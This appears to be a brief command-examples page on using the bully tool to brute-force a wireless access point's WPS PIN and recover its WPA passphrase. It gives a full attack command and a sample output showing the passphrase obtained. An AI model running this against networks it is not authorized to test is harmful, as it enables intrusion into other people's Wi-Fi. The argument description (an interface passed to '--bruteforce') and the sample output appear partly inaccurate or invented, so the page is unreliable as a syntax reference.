Using Bully Command (with examples)

1: Crack the password

bully --bssid "<mac>" --channel "<channel>" --bruteforce "<interface>"

Motivation: The bully command is used to brute-force the WPS (Wi-Fi Protected Setup) pin of a wireless access point. This can be helpful in situations where the user has forgotten the password of their Wi-Fi network and wants to regain access.

Explanation for the arguments:

• --bssid "<mac>": Specifies the MAC address of the target wireless access point.
• --channel "<channel>": Specifies the channel on which the target access point is operating.
• --bruteforce "<interface>": Specifies the interface to be used for brute-forcing the WPS pin.

Example output:

[*] Bully v1.0-22-g8e57a28 (C) 2014 Joshua Wright and Damien Storhjor
[*] initializing session
[*] interface is set to: <interface>
[*] setting our MAC address to random
[*] setting transport channel to 1
[+] waiting for beacon from target access point
[*] got beacon, setting to channel <channel>
[+] beginning brute force session
[*] initiating WPS handshake
[*] starting open registrar brute force
[+] registrar found: <MAC>:<PIN>
[+] WPS PIN: <PIN> is correct
[+] successfully obtained WPA passphrase: <passphrase>
[+] Session saved as "/root/.bully/output.bin"
